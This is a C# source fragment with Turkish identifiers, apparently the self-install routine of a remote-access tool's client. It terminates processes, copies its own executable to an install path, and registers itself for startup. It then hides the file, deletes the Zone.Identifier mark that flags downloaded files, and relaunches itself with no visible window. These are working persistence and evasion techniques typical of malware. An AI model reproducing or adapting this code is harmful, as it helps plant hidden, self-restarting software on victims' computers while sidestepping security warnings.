                                continue;
                            }
                            prc.Kill();
                            isKilled = true;
                        }
                    }
                }
            }

            if (isKilled)
            {
                Thread.Sleep(5000);
            }

            try
            {
                File.Copy(ClientVerisi.CurrentPath, ClientVerisi.InstallPath, true);
            }
            catch (Exception)
            {
                return;
            }

            if (Settings.STARTUP)
            {
                if (!Başlangıç.AddToStartup())
                {
                    ClientVerisi.AddToStartupFailed = true;
                }
            }

            if (Settings.HIDEFILE)
            {
                try
                {
                    File.SetAttributes(ClientVerisi.InstallPath, FileAttributes.Hidden);
                }
                catch (Exception)
                {
                }
            }

            DosyaYardımcısı.DeleteZoneIdentifier(ClientVerisi.InstallPath);

            //dosya başlatma
            var startInfo = new ProcessStartInfo
            {
                WindowStyle     = ProcessWindowStyle.Hidden,
                CreateNoWindow  = true,
                UseShellExecute = false,
                FileName        = ClientVerisi.InstallPath
            };

            try
            {
                Process.Start(startInfo);
            }
            catch (Exception)
            {
            }
        }